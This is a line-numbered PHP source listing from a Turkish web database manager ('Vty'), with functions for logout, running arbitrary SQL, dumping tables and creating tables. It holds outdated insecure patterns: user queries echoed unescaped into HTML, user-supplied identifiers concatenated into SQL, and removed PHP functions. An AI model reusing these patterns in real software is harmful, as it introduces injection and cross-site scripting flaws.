  1887. $this->tabloSonu();
  1888. }
  1889.  
  1890. /**
  1891. * tabloSonu()
  1892. *
  1893. * Genel olarak tablonun sonu
  1894. */
  1895. function tabloSonu(){
  1896. echo "\t\t\t".'</td>'."\n"."\t\t".'</tr>'."\n"."\t".'</table>'."\n";
  1897. }
  1898.  
  1899. function htmlSonu(){
  1900. echo "</body>"."\n"."</html>";
  1901. }
  1902.  
  1903. function ara(){
  1904. return '<font color="#999999">|</font>';
  1905. }
  1906.  
  1907. }//class:vty
  1908.  
  1909. ?>
  1910. <?php
  1911. class islemler
  1912. {
  1913.  
  1914. /**
  1915. * islemler
  1916. *
  1917. *
  1918. */
  1919. function islemler($vty)
  1920. {
  1921. $this->vty = $vty;
  1922. }
  1923.  
  1924. /**
  1925. * sesscikis
  1926. *
  1927. * �ikis tusuna basinca sessini kapatan fonksiyon
  1928. *
  1929. */
  1930. function sesscikis()
  1931. {
  1932. if( setcookie("vtykuki_host",1,time()-1) or setcookie("vtykuki_kullanici",1,time()-1) or setcookie("vtykuki_sifre",1,time()-1) /*or setcookie("vtySeGirDbTipi",1,time()-1)*/ ){
  1933. $soyle = '&nbsp;&nbsp;'.'<font color="green" >'.$this->vty->dug->uy['OturumKapa'].'</font>'."\n<br>\n".
  1934. '&nbsp;&nbsp;'.'<a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Tamam'].'</a>'."\n".
  1935. '<meta http-equiv="refresh" content="1;URL='.$this->vty->urlyap($this->vty->linkler).'">';
  1936. }else{
  1937. $soyle = '&nbsp;<font color="red">'.$this->vty->dug->uy['OturumKaHata'].'</font><br><br>&nbsp;'.
  1938. '<a href="javascript:history.back(-1)" >� '.$this->vty->dug->dil['Geri'].'</a>'.
  1939. ' | <a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Iptal'].'</a>';
  1940. }
  1941. $this->vty->islemSonucu($soyle);
  1942. }
  1943.  
  1944.  
  1945. /**
  1946. * SqlGoster
  1947. *
  1948. * SQL �alistirma ve sonu� g�sterme ana formu, ana sayfasi
  1949. *
  1950. */
  1951. function SqlGoster()
  1952. {
  1953.  
  1954. $inquery = stripslashes(trim($this->vty->gp('inquery')));
  1955.  
  1956. $this->SqlGosterBasit($inquery);
  1957.  
  1958. $dbtbyaz = (!empty($this->vty->tablename)?$this->vty->dbname." . ".$this->vty->tablename : $this->vty->dbname);
  1959.  
  1960. if(strlen(trim($inquery))>0){
  1961. $this->vty->select_db();
  1962. $inqueryex = explode("\n",$inquery);
  1963. $count = count($inqueryex);
  1964. if($count>1){
  1965. $goster = '';
  1966. for($i=0;$i<$count;$i++){
  1967. $query = trim($inqueryex[$i]);
  1968. if(trim($query)!='' && trim($query)!=' ' && substr(trim($query),0,2)!='--' && substr(trim($query),0,1)!='#'){
  1969. $this->vty->db->vty_query($query);
  1970. if($this->vty->db->vty_error()==false){
  1971. $goster .= $this->vty->dug->dil['Satir'].' '.($i+1).' - '.'<font color="green" >'.$this->vty->dug->uy['KomutCalistirildi'].'</font>'.'<br />'."\n";
  1972. }else{
  1973. $goster .= $this->vty->dug->dil['Satir'].' '.($i+1).' - '.'<font color="red" >'.'<b>'.$this->vty->dug->dil['Hata'].': '.'</b>'.'</font>'.stripslashes($this->vty->db->vty_error()).'<br />'."\n";
  1974. }
  1975. }
  1976. unset($query);
  1977. }
  1978. }else{
  1979. $this->SqlGosterSonuc($inqueryex[0]);
  1980. if($this->vty->db->vty_error()){
  1981. $goster = "\t\t\t\t".'&nbsp;'.'<b>'.$this->vty->dug->dil['Sorgu'].":</b> ".stripslashes($inqueryex[0]).'<br />'."\n";
  1982. $goster .= "\t\t\t\t".'&nbsp;'.'<font color="red" ><b>'.$this->vty->dug->dil['Hata'].":</b> </font>".stripslashes($this->vty->db->vty_error())."\n";
  1983. }else{
  1984. $goster = "\t\t\t\t".'&nbsp;'.'<font color="green" ><b>'.$this->vty->dug->dil['Cevap'].":</b> </font>".$this->vty->dug->uy['KomutCalistirildi'].". - <b>".$this->vty->db->vty_affected_rows()."</b> ".$this->vty->dug->uy['KacSatirEtkilendi']."\n";
  1985. }
  1986. }
  1987. }
  1988.  
  1989. $this->vty->tabloBasi2();
  1990. echo (strlen(trim($inquery))>0?$goster:'<br />');
  1991. $this->vty->tabloSonu();
  1992. }
  1993.  
  1994. function SqlGosterBasit($inquery)
  1995. {
  1996. //DB_AYRIM
  1997. if($this->vty->ayar['db_type']=='mysql'){
  1998. $inquery = (!empty($inquery)?stripslashes($inquery): "SELECT * FROM `".$this->vty->tablename."` " );
  1999. }elseif($this->vty->ayar['db_type']=='mssql'){
  2000. $inquery = (!empty($inquery)?stripslashes($inquery): "SELECT * FROM [".$this->vty->tablename."] " );
  2001. }
  2002.  
  2003. $dbtbyaz = (!empty($this->vty->tablename)?$this->vty->dbname." . ".$this->vty->tablename : $this->vty->dbname.' . ?');
  2004. $this->vty->tabloBasi();
  2005. echo "\t\t\t\t"."<br>&nbsp;&nbsp; ".$this->vty->baslik($this->vty->dug->dil['Sql'].':')."<br>&nbsp;&nbsp; ".$dbtbyaz."<br>"."\n";
  2006. echo "\t".'<table>'."\n".
  2007. "\t".'<form name="fquery" action="'.$this->vty->urlyap("ne=sqlgoster&".$this->vty->linkler).'" method="post" >'."\n".
  2008. "\t\t".'<tr>'."\n".
  2009. "\t\t\t".'<td align="right" > <input name="uzat" type="checkbox" id="uzat" value="3" onClick="return fuzat();" '.($this->vty->gp('uzat')==3?'checked ':'').'> <label for="uzat" >'.$this->vty->dug->dil['Buyut'].'</label> </td>'."\n".
  2010. "\t\t".'</tr>'.
  2011. "\t\t".'<tr>'."\n".
  2012. "\t\t\t".'<td>'."\n".
  2013. "\t\t\t\t".'&nbsp;&nbsp; <textarea name="inquery" cols="90" rows="'.($this->vty->gp('uzat')==3?'25':'5').'">'.$inquery.'</textarea><br>'."\n".
  2014. "\t\t\t\t".'&nbsp;&nbsp; <input name="duzelt" type="submit" id="duzelt" value=" '.$this->vty->dug->dil['Gonder'].' "> | '."\n".
  2015. "\t\t\t\t".'<input name="temizle" type="reset" id="duzelt" value="'.$this->vty->dug->dil['Reset'].'"> | '."\n".
  2016. "\t\t\t\t".'<a href="'.$this->vty->urlyap("ne=sqlgoster&".$this->vty->linkler).'" >'.$this->vty->dug->dil['Yeni'].'</a> | '."\n".
  2017. // DOSYADAN "\t\t\t\t".'<a href="'.$this->vty->urlyap("ne=sqldosyadan&".$this->vty->linkler).'" >'.$this->vty->dug->dil['Dosyadan'].'</a> | '."\n".
  2018. "\t\t\t\t".'<a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Iptal'].'</a>'."\n".
  2019. "\t\t\t".'</td>'."\n".
  2020. "\t\t".'</tr>'."\n".
  2021. "\t".'</form>'."\n".
  2022. "\t".'</table >'."\n".
  2023. '<br>'."\n";
  2024. $this->vty->tabloSonu();
  2025. $this->SqlGosterJS();
  2026.  
  2027. }
  2028.  
  2029. function SqlGosterJS(){
  2030. echo '<script language="JavaScript" type="text/JavaScript" > <!--
  2031. function fuzat(){
  2032. var d = document.fquery;
  2033. if(d.uzat.checked==true) d.inquery.rows = 25; else d.inquery.rows = 5;
  2034. }'."\n".
  2035. '--> </script>'."\n";
  2036. }
  2037.  
  2038. function SqlGosterSonuc($sql){
  2039. $query = $this->vty->db->vty_query($sql);
  2040. if(!$this->vty->db->vty_error()){
  2041. $numrows = $this->vty->db->vty_num_rows($query);
  2042. $numfields = $this->vty->db->vty_num_fields($query);
  2043. $fetch = $this->vty->db->vty_fetch_row($query);
  2044. echo "\t".'<table width="'.$this->vty->dug->gor['table_width'].'" border="0" cellspacing="1" cellpadding="2">'."\n";
  2045. echo "\t\t".'<tr bgcolor="'.$this->vty->dug->gor['ust_bgcolor'].'" height="30" cellpadding="3" >'."\n";
  2046. for($i=0;$i<$numfields;$i++){
  2047. echo "\t\t\t"."<td>";
  2048. echo "&nbsp;<strong>".$this->vty->db->vty_field_name($query,$i)."</strong>";
  2049. echo "</td>"."\n";
  2050. }
  2051. echo "\t\t"."</tr>\n";
  2052. for($k=0;$k<$numrows;$k++){
  2053. echo "\t\t".'<tr bgcolor="'.$this->vty->ikirenkli($k,$this->vty->dug->gor['ikirenklicolor1'],$this->vty->dug->gor['ikirenklicolor2']).'" >';
  2054. for($i=0;$i<$numfields;$i++){
  2055. $fieldname = $this->vty->db->vty_field_name($query,$i);
  2056. echo "\t\t\t".'<td valign="top" >&nbsp;';
  2057. echo htmlspecialchars($this->vty->db->vty_result($query,$k,"$fieldname"));
  2058. echo "</td>\n";
  2059. }
  2060. echo "\t\t"."</tr>\n";
  2061. }
  2062. echo "\t"."</table>"."\n";
  2063. }
  2064. }
  2065.  
  2066. /**
  2067. * SqlDosyadan
  2068. *
  2069. * When executing SQL commands from file
  2070. *
  2071. */
  2072. function SqlDosyadan(){
  2073. $inquery = $this->vty->gp('inquery');
  2074. $dosyadansql = $this->vty->gp('dosyadansql','f');
  2075.  
  2076. if(!empty($this->vty->dbname)){
  2077. $dbtbyaz = (!empty($this->vty->tablename)?$this->vty->dbname." . ".$this->vty->tablename : $this->vty->dbname); }
  2078. else{
  2079. $dbtbyaz = '';
  2080. }
  2081. $inquery = (isset($inquery)?stripslashes($inquery): "SELECT * FROM `".$this->vty->tablename."` " );
  2082. $soyle = '<form name="fquery" action="'.$this->vty->urlyap("ne=sqlgoster&".$this->vty->linkler).'" method="post" enctype="multipart/form-data" >'."\n".
  2083. "&nbsp;&nbsp; ".$this->vty->baslik($this->vty->dug->dil['Sql'].':')."<br>&nbsp;&nbsp; ".$dbtbyaz."<br><br>".
  2084. '&nbsp;&nbsp; <textarea name="inquery" cols="60" rows="6">'.$inquery.'</textarea><br>'."\n".
  2085. '&nbsp;&nbsp; <input name="dosyadansql" type="file" id="dosyadansql" size="70" accept="text/plain" ><br><br>'."\n".
  2086. '&nbsp;&nbsp; <input name="duzelt" type="submit" id="duzelt" value=" '.$this->vty->dug->dil['Gonder'].' "> | '.
  2087. '<input name="temizle" type="reset" id="duzelt" value="'.$this->vty->dug->dil['Reset'].'"> | '.
  2088. '<a href="'.$this->vty->urlyap($this->vty->linkler).'">'.$this->vty->dug->dil['Iptal'].'</a>'."</form>";
  2089. $this->vty->islemSonucu($soyle);
  2090. }
  2091.  
  2092. /**
  2093. * DumpEt
  2094. *
  2095. * When dumping tables
  2096. *
  2097. */
  2098. function DumpEt()
  2099. {
  2100. $this->vty->ust();
  2101. $this->vty->tabloBasi3();
  2102. echo $this->vty->baslik($this->vty->dug->dil['DumpTable']);
  2103. echo '<br><br><table border="1" cellpadding="5" cellspacing="0" bordercolor="#999999"><tr> <td>';
  2104. echo '<form name="dumpet_form" action="'.$this->vty->urlyap("ne=dumpet&nebu=sim&".$this->vty->linkler).'" onSubmit="return DumpEtJsKontrol();" method="post" >';
  2105. echo '<table><tr><td>';
  2106. echo $this->vty->dug->dil['Vt'].':<br>';
  2107. echo $this->vty->db_liste(2);
  2108. //if($this->vty->dbname!=''){
  2109. echo '<br><br><table cellpadding="0" cellspacing="0" ><tr><td>'.$this->vty->dug->dil['Tablo'].':</td>';
  2110. echo '<td align="right" ><span id="dumpet_span"></span><input type="checkbox" name="dumpet_hephic" value="3" onClick="return DumpEtJsHepHic();" ></td></tr>';
  2111. echo '<tr><td colspan="2" >'.$this->vty->tb_liste(2).'</td></tr></table>';
  2112. //}
  2113. echo '</td><td valign="bottom" align="left" ><br><br> &nbsp; ';
  2114. echo '<input type="radio" name="dumpet_creins" id="d01" value="both" checked ><label for="d01" >'.$this->vty->dug->dil['DumpBoth'].'</label><br> &nbsp; '."\n";
  2115. echo '<input type="radio" name="dumpet_creins" id="d02" value="create"><label for="d02" >'.$this->vty->dug->dil['DumpCreateOnly'].'</label><br> &nbsp; '."\n";
  2116. echo '<input type="radio" name="dumpet_creins" id="d03" value="insert" ><label for="d03" >'.$this->vty->dug->dil['DumpInsertOnly'].'</label><br><br> &nbsp; '."\n";
  2117. echo '<input type="checkbox" name="dumpet_dosyayakaydet" id="d04" value="evet" ><label for="d04" >'.$this->vty->dug->dil['SaveAsFile'].'</label><br> &nbsp; '."\n";
  2118. echo '</td></tr></table>'."\n";
  2119. echo '</td></tr></table>'."\n";
  2120. echo '<br>';
  2121. echo '<input type="submit" value="'.$this->vty->dug->dil['DumpSubmit'].'" >'."\n";
  2122. echo ' '.$this->vty->ara().' ';
  2123. echo '<a href="'.$this->vty->urlyap($this->vty->linkler).'">'.$this->vty->dug->dil['Iptal'].'</a><br><br>';
  2124. echo '<input name="dumpet_tablolar" type="hidden" value="" ><span id="dumpet_tablolars"></span>';
  2125. echo "</form>";
  2126. $this->DumpEtJs();
  2127. $this->vty->tabloSonu();
  2128. }
  2129.  
  2130. /**
  2131. * DumpEtSimdi
  2132. *
  2133. * When dumping tables
  2134. *
  2135. */
  2136. function DumpEtSimdi()
  2137. {
  2138. $dumpet_creins = $this->vty->gp('dumpet_creins');
  2139. $dumpet_dosyayakaydet = $this->vty->gp('dumpet_dosyayakaydet');
  2140.  
  2141. if($dumpet_dosyayakaydet == 'evet' ){
  2142. header("Content-type: text/plain"); //text/Vty-Dump "_".date("d_m_Y_H_i")
  2143. header("Content-Disposition: attachment; filename=vty_".$this->vty->dbname.".txt");
  2144. header("Pragma: no-cache");
  2145. header("Expires: 0");
  2146. }else{
  2147. header("Content-type: text/plain");
  2148. $this->htmlen = true;
  2149. }
  2150.  
  2151. $this->vty->BitimYok();
  2152. $database = $this->vty->dbname;
  2153. $tablolar = explode('/',$this->vty->gkp('dumpet_tablolar'));
  2154. $count = count($tablolar)-1;
  2155. for($j=0;$j<$count;$j++) $tablolars = $tablolars.$tablolar[$j].', ';
  2156.  
  2157. /// 1
  2158. echo "#\n# Vty - Table Dump\n#\n".
  2159. "# Version: ".$this->vty->vtyversion."\n".
  2160. "# URL: ".$this->vty->vtyUrl."\n#\n".
  2161. "# Date: ".date("d.m.Y - H:i:s")."\n".
  2162. "# Host: ".$this->vty->ayar['dbhost']."\n".
  2163. "# Database: ".$database."\n".
  2164. "# Table: ".$tablolars."\n".
  2165. "#\n\n\n";
  2166.  
  2167. for($i=0;$i<$count;$i++){
  2168. $tablename = $tablolar[$i];
  2169. if($tablename!=''){
  2170.  
  2171. echo "\n#\n# `".$tablename."` ----------------------------------------------------------\n#\n\n";
  2172.  
  2173. /// 2
  2174. if($dumpet_creins != 'insert' ){
  2175. echo "# Create Table Info\n";
  2176. $query = $this->vty->db->vty_query("SHOW CREATE TABLE `".$database."`.`".$tablename."`");
  2177. echo $this->vty->db->vty_result($query,0,"Create Table")."\n\n";
  2178. }
  2179.  
  2180. /// 3
  2181. if($dumpet_creins != 'create' ){
  2182. echo "# Insert Into Info\n";
  2183. $this->DumpEtSimdiInsertInto($tablename);
  2184. echo "\n\n\n";
  2185. }
  2186. }}
  2187.  
  2188. /// 4
  2189. echo "# End Of Vty Table Dump -------------------------------------------------------------\n\n";
  2190. }
  2191.  
  2192. /**
  2193. * DumpEt
  2194. *
  2195. */
  2196. function DumpEtSimdiInsertInto($tablename){
  2197. $query = $this->vty->db->vty_query("SELECT * FROM `".$this->vty->dbname."`.`".$tablename."`");
  2198. if($this->vty->db->vty_num_rows($query)>0){
  2199. while($satir = $this->vty->db->vty_fetch_row($query)){
  2200. $ret = "INSERT INTO `".$tablename."` VALUES (";
  2201. while (list ($key, $val) = each ($satir)) {
  2202. $val = ($this->htmlen==true?addslashes($val):$val);
  2203. //$val = preg_split ("/[\n,]+/", $val); //preg_replace(chr(11),'',$val);
  2204. //$val = preg_replace("/[\n\s\f\t]+/",'',$val);
  2205. $val = preg_replace("/[\n\r\f\t]+/",' ',$val);
  2206. $ret .= '"'.$val.'", ';
  2207. }
  2208. echo substr($ret,0,-2) . ");\n";
  2209. }
  2210.  
  2211.  
  2212. }else{
  2213. echo "# There is no row in the table.\n";
  2214. }
  2215. }
  2216.  
  2217.  
  2218. /**
  2219. * DumpEtJS
  2220. *
  2221. * Dump et sayfas�ndaki javascriptler
  2222. */
  2223. function DumpEtJs(){
  2224. echo "\n\n<script language='javascript'>
  2225. // Tablolarin hepsini yada hicbirini secmek icin kullanilir
  2226. func"."tion DumpEtJsHepHic(){
  2227. var d = document.dumpet_form;
  2228. var che = d.dumpet_tablelist;
  2229. var len = (typeof(che.length)!='undefined'?che.length:'0');
  2230. for(var i=0;i<len;i++){
  2231. che[i].selected = d.dumpet_hephic.checked;
  2232. }
  2233. DumpEtJsHepHicSayi();
  2234. }
  2235.  
  2236. DumpEtJsHepHicSayi();
  2237.  
  2238. // Kac tane tablo secildigini gosterir: 3/30 seklinde
  2239. func"."tion DumpEtJsHepHicSayi(){
  2240. var brow = (navigator.appName.substring(0,8)=='Netscape'?1:0);
  2241. var d = document.dumpet_form;
  2242. var che = d.dumpet_tablelist;
  2243. var len = (typeof(che.length)!='undefined'?che.length:'0');
  2244. var isimleri = '';
  2245. for(var i=0,j=0;i<len;i++){
  2246. if(che[i].selected == true ){
  2247. j++;
  2248. isimleri = isimleri + che[i].value + '/';
  2249. }
  2250. }
  2251. if(brow==1){
  2252. document.getElementById('dumpet_span').value = j+'/'+len;
  2253. d.dumpet_tablolar.value = isimleri;
  2254. }else{
  2255. dumpet_span.innerText = j+'/'+len;
  2256. d.dumpet_tablolar.value = isimleri;
  2257. }
  2258. return false;
  2259. }
  2260.  
  2261. func"."tion DumpEtJsKontrol(){
  2262. var d = document.dumpet_form;
  2263. var che = d.dumpet_tablelist;
  2264. var len = (typeof(che.length)!='undefined'?che.length:'0');
  2265. var k = false;
  2266. for(var i=0;i<len;i++){
  2267. if(che[i].selected == true){
  2268. i = len;
  2269. k = true;
  2270. }
  2271. }
  2272. return k;
  2273. }
  2274. </script>
  2275. ";
  2276. }
  2277.  
  2278. /**
  2279. * Select Language page
  2280. */
  2281. function Language($secildimi){
  2282. $this->vty->ust();
  2283. $this->vty->tabloBasi3();
  2284. echo $this->LanguageList($secildimi);
  2285. $this->vty->tabloSonu();
  2286. }
  2287.  
  2288. /*
  2289. * Language List for LANG page
  2290. */
  2291. function LanguageList($secildimi){
  2292. $diller = $this->vty->dug->diller();
  2293. $dl = $this->vty->dug->dl;
  2294. //$don .= '<form name="fDil" action="'.$this->vty->urlyap("ne=lang&".$this->vty->linkler).'" method="post" >'."\n";
  2295. $don .= '<form name="fDil" action="'.$this->vty->urlyap($this->vty->linkler).'" method="post" >'."\n";
  2296. $don .= '<h3>'.$this->vty->dug->uy['YeniDilSec'].':</h3>'."\n";
  2297. $don .= '<select name="dl" >'."\n";
  2298. foreach($diller as $key=>$dil)
  2299. $keys[] = $key;
  2300. foreach($diller as $di => $dil)
  2301. $don .= '<option value="'.$di.'" '.((empty($dl) or !in_array($dl,$keys)) ? ($di==$this->ayar['DefaultLang']?'selected':'') : ($dl==$di?'selected':'') ).' >'.$dil.'</option>'."\n";
  2302. $don .= '</select>'."\n";
  2303. $don .= '<br/><br/>';
  2304. $don .= '<input type="submit" name="fDilSubmit" value=" OK " > | ';
  2305. //$don .= '<a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.(isset($secildimi)?$this->vty->dug->dil['Iptal']:$this->vty->dug->dil['Iptal']).'</a>';
  2306. $don .= '<a href="'.$this->vty->urlyap($this->vty->linkler).'" >cancel</a>';
  2307. $don .= '</form>';
  2308. return $don;
  2309. }
  2310.  
  2311. /**
  2312. * YeniTableEkle
  2313. *
  2314. *
  2315. */
  2316. function YeniTableEkle(){
  2317. if($this->vty->gkp('devam')==''){
  2318. /// birinci
  2319. echo "\t".'<table width="'.$this->vty->dug->gor['table_width'].'" border = "'.$this->vty->dug->gor['border'].'" cellspacing="'.$this->vty->dug->gor['cellspacing'].'" cellpadding="'.($this->vty->dug->gor['cellpadding']+5).'" >'."\n".
  2320. "<form name=\"yeniTbForm\" method=\"post\" action=\"".$this->vty->urlyap($this->vty->linkler."ne=yeniTbEkle&devam=et")."\" onSubmit=\"return yeniTbOnSubmit();\">\n".
  2321. "\t\t".'<tr bgcolor="'.$this->vty->dug->gor['alt_bgcolor'].'" >'."\n".
  2322. "<td>\n<br>&nbsp;&nbsp;".$this->vty->baslik($this->vty->dug->dil['TbEkle'])."\n<br><br>\n&nbsp;&nbsp;".$this->vty->dug->dil['VtAdi']." . ".$this->vty->dug->dil['TbAdi']." :<br>\n";
  2323. // tablo listele
  2324. echo '&nbsp;&nbsp;<select name="sdb">'."\n";
  2325. $db_list = $this->vty->db->vty_list_dbs($this->vty->baglan);
  2326. while ($row = $this->vty->db->vty_fetch_object($db_list)) {
  2327. $DatabaseNameInObject = $this->vty->db->vty_list_dbs_databasename();
  2328. $tempdb = $row->$DatabaseNameInObject;
  2329. $selected = ( $tempdb == $this->vty->dbname ? 'selected' : '' );
  2330. echo "<option value=\"$tempdb\" $selected>$tempdb</option>\n";
  2331. } //w
  2332. echo "</select>\n";
  2333. echo '&nbsp;&nbsp;<strong>.</strong>&nbsp;&nbsp;<input name="yeniTbAdi" type="text" id="yeniTbAdi">'.
  2334. '<br><br>&nbsp;&nbsp;'.$this->vty->dug->dil['SutunSys'].' :<br>&nbsp;&nbsp;'.
  2335. '<input name="yeniTbAlanSayisi" type="text" id="sb" size="2"><br>'."\n".
  2336. '<br>&nbsp;&nbsp;<input name="yeniTbDevam" type="submit" id="yeniTbDevam" value=" '.$this->vty->dug->dil['Devam'].' "> | '.
  2337. "<a href=\"".$this->vty->urlyap($this->vty->linkler)."\">".$this->vty->dug->dil['Iptal']."</a><br><br><br>\n".
  2338. "</td>\n</tr>\n</form>\n</table>\n";
  2339.  
  2340. } elseif($this->vty->gkp('devam')=="et"){
  2341. /// ikinci
  2342. if($this->vty->gkp('yeniTbAlanSayisi') == 0){
  2343. echo "yok";
  2344. }else{
  2345. $yeniTbUzunluk = strlen($this->vty->gkp(yeniTbAdi));
  2346. echo '<table bgcolor="'.$this->vty->dug->gor['alt_bgcolor'].'" border = "'.$this->vty->dug->gor['border'].'" cellspacing="'.$this->vty->dug->gor['cellspacing'].'" cellpadding="'.($this->vty->dug->gor['cellpadding']+5).'" >'."\n".
  2347. "<form name=\"yenitb2form\" action=\"".$this->vty->urlyap("ne=yenitbekliyorum&".$this->vty->linkler)."\" method=\"post\">\n<tr>\n".
  2348. "<td colspan=\"9\"><br>".$this->vty->baslik($this->vty->dug->dil['TbEkle'])."<br>".$this->vty->gkp('sdb')." . <input name=\"yeniTbAdi\" type=\"text\" value=\"".$this->vty->gkp(yeniTbAdi)."\" size=\"".$this->vty->gkp($yeniTbUzunluk)."\" >".
  2349. " <br><br></td></tr>\n".
  2350. '<tr><td><table><tr bgcolor="'.$this->vty->dug->gor['ust_bgcolor'].'" border="'.$this->vty->dug->gor['border'].'" cellspacing="'.$this->vty->dug->gor['cellspacing'].'"'.'cellpadding="'.$this->vty->dug->gor['cellpadding'].'" align="center" height="30" >'.
  2351. "<td>&nbsp;<b>#</b>&nbsp;</td>\n<td>&nbsp;<b>S�tun Ad� :</b></td>\n<td>&nbsp;<b>T�r� :</b> </td>\n<td> &nbsp;<b>Boyutu :</b></td>\n".
  2352. "<td> &nbsp;<b>�zellik :</b></td>\n <td>&nbsp;<b>Bos mu? :</b> </td>\n<td>&nbsp;<b>Anahtar :</b></td>\n".
  2353. "<td>&nbsp;<b>�lk De�eri :</b> </td>\n<td>&nbsp;<b>Di�er :</b></td>\n</tr>\n";
  2354. for($i=0;$i<$this->vty->gkp('yeniTbAlanSayisi');$i++){
  2355. echo //"<tr bgcolor=\"".ikirenkli($i,"$ikirenklicolor1","$ikirenklicolor2")."\" border = \"$border\" cellspacing=\"$cellspacing\" cellpadding=\"$cellpadding\">\n".
  2356. "<tr bgcolor=\"".$this->vty->ikirenkli($i,$this->vty->dug->gor['ikirenklicolor1'],$this->vty->dug->gor['ikirenklicolor2'])."\" cellpadding=\"".$this->vty->dug->gor['cellpadding']."\">\n".
  2357. "<td>".($i+1)."</td>\n".
  2358. "<td><input type=\"text\" name=\"sutunadi[]\"></td>\n".
  2359. "<td>\n".$this->vty->AlanTurleri("turu[]")."</td>\n".
  2360. "<td><input type=\"text\" name=\"boyutu[]\" size=\"4\" ></td>\n".
  2361. "<td>\n<select name = \"ozellik[]\" size=\"1\">\n<option>-</option>\n<option>unsigned</option>\n".
  2362. "<option>unsigned zerofill</option>\n<option>binary</option>\n</select></td>\n".
  2363. "<td><input name=\"bosmu[]\" type=\"checkbox\" value=\"NULL\"> NULL</td>\n".
  2364. "<td>\n<select name = \"anahtar[]\" size=\"1\">\n<option>-</option>\n<option>primary</option>\n".
  2365. "<option>unique</option>\n<option>index</option>\n</select></td>\n".
  2366. "<td><input type=\"text\" name=\"ilkdegeri[]\"></td>\n".
  2367. "<td>\n<select name = \"diger[]\" size=\"1\">\n<option>-</option>\n<option>auto_increment</option>\n</select></td>\n".
  2368. "</tr>\n";
  2369. } //f
  2370. echo "</table></td></tr><tr>\n<td colspan=\"9\" ><br>&nbsp;<input type=\"submit\" name=\"ekle\" value=\" ".$this->vty->dug->dil['Olustur']." \"> | ".
  2371. //"<input type=\"reset\" name=\"reset\" value=\"Temizle\"> | ".
  2372. "<input name=\"fieldsayisi\" type=\"hidden\" value=\"".$i."\">".
  2373. "<a href=\"javascript:history.back(-1)\">".$this->vty->dug->dil['Geri']."</a> | ".
  2374. "<a href=\"".$this->vty->urlyap($this->vty->linkler)."\">".$this->vty->dug->dil['Iptal']."</a> <br><br></td>\n</tr>\n".
  2375. "</form>\n</table>\n";
  2376. }//i
  2377. } //i : devam
  2378.  
  2379. }
  2380.  
  2381. /**
  2382. * YeniTableEkliyorum
  2383. *
  2384. *
  2385. */
  2386. function YeniTableEkliyorum(){
  2387.  
  2388. $fieldsayisi = $this->vty->gp('fieldsayisi');
  2389. if(!empty($fieldsayisi)){
  2390. $primaryk = '';
  2391. $indexk = '';
  2392. $uniquek = '';
  2393. $createDef = '';
  2394. $key = '';
  2395. for($k=0,$p=0,$u=0,$n=0,$i=0; $i < $fieldsayisi;$i++){
  2396. $sutunadi = $this->vty->gp('sutunadi');
  2397. $turu = $this->vty->gp('turu');
  2398. $boyutu = $this->vty->gp('boyutu');
  2399. $ozellik = $this->vty->gp('ozellik');
  2400. $bosmu = $this->vty->gp('bosmu');
  2401. $diger = $this->vty->gp('diger');
  2402. $ilkdegeri = $this->vty->gp('ilkdegeri');
  2403. if(!empty($sutunadi[$i])){
  2404. //$girenler = array("boyutu","turu","ozellik","bosmu","anahtar","ilkdegeri","diger");
  2405. //foreach($girenler as $giren){@array($$giren);}
  2406. unset($girenler);
  2407. if($anahtar[$i]){
  2408. if($anahtar[$i] == 'primary'){
  2409. if($p==0){ $primaryk = "PRIMARY KEY ("; $p++;}
  2410. $primaryk = $primaryk.$sutunadi[$i].', ';
  2411. }
  2412. if($anahtar[$i] == 'index'){
  2413. if($n==0){ $indexk = "INDEX ".$sutunadi[$i]."("; $n++;}
  2414. $indexk = $indexk.$sutunadi[$i].', ';
  2415. }
  2416. if($anahtar[$i] == 'unique'){
  2417. if($u==0){ $uniquek = "UNIQUE ".$sutunadi[$i]."("; $u++;}
  2418. $uniquek = $uniquek.$sutunadi[$i].', ';
  2419. }
  2420. }
  2421.  
  2422. $turu[$i] = stripslashes(((!empty($turu[$i]) and $turu[$i] != '-') ? $turu[$i] : '' ));
  2423. $boyutu[$i] = stripslashes((!empty($boyutu[$i]) ? '('.$boyutu[$i].')' : '' ));
  2424. $ozellik[$i] = stripslashes(((!empty($ozellik[$i]) and $ozellik[$i] != '-') ? $ozellik[$i] : '' ));
  2425. $bosmu[$i] = stripslashes(((!empty($bosmu[$i]) and $bosmu[$i] == 'NULL') ? 'NULL' : 'NOT NULL'));
  2426. $diger[$i] = stripslashes(((!empty($diger[$i]) and $diger[$i] != '-') ? $diger[$i] : '' ));
  2427. $ilkdegeri[$i] = stripslashes((!empty($ilkdegeri[$i]) ? 'DEFAULT "'.$ilkdegeri[$i].'"' : '' ));
  2428.  
  2429. $createDef = $createDef.' '.$sutunadi[$i].' '.$turu[$i].$boyutu[$i].' '.$ozellik[$i].' '.$bosmu[$i].' '.$ilkdegeri[$i].' '.$diger[$i].", \n";
  2430.  
  2431. $k++;
  2432. }//i
  2433. }//f
  2434. $primaryk = substr($primaryk,0,-2).")";
  2435. $indexk = substr($indexk,0,-2).")";
  2436. $uniquek = substr($uniquek,0,-2).")";
  2437. $key = substr(($p>0?$primaryk.", ":'').($n>0?$indexk.", ":'').($u>0?$uniquek.", ":''),0,-2);
  2438. $createDef = ( !empty($key)?substr($createDef,0,-2):substr($createDef,0,-3));
  2439. if(!empty($createDef)){
  2440. $sql= "CREATE TABLE `".$this->vty->dbname."`.`".$this->vty->gp('yeniTbAdi')."` ( $createDef $key )";
  2441. $this->vty->tabloBas('','','20','');
  2442. $this->vty->SonucGoster($sql,ereg_replace('@NewTbName@',$this->vty->gp('yeniTbAdi'),$this->vty->dug->uy['YeniTbOldu']),ereg_replace('@NewTbName@',$this->vty->gp('yeniTbAdi'),$this->vty->dug->uy['YeniTbHata']) );
  2443. $this->vty->tabloSonu();
  2444. }
  2445. if($k==0) $this->vty->HataGoster2("<br>G�nderdiniz form bos.");
  2446. }//i
  2447. }
  2448.  
  2449. /**
  2450. * YeniDatabaseEkle
  2451. *
  2452. * Yeni Database Ekleme Formu
  2453. *
  2454. */
  2455. function YeniDatabaseEkle(){
  2456. $this->vty->ust();
  2457. $this->vty->tabloBas('','','20','');
  2458. echo "<form name=\"yeniDbForm\" method=\"post\" action=\"".$this->vty->urlyap("ne=yeniDbEkliyorum")."\" onSubmit=\"return yeniDbOnSubmit();\">\n".
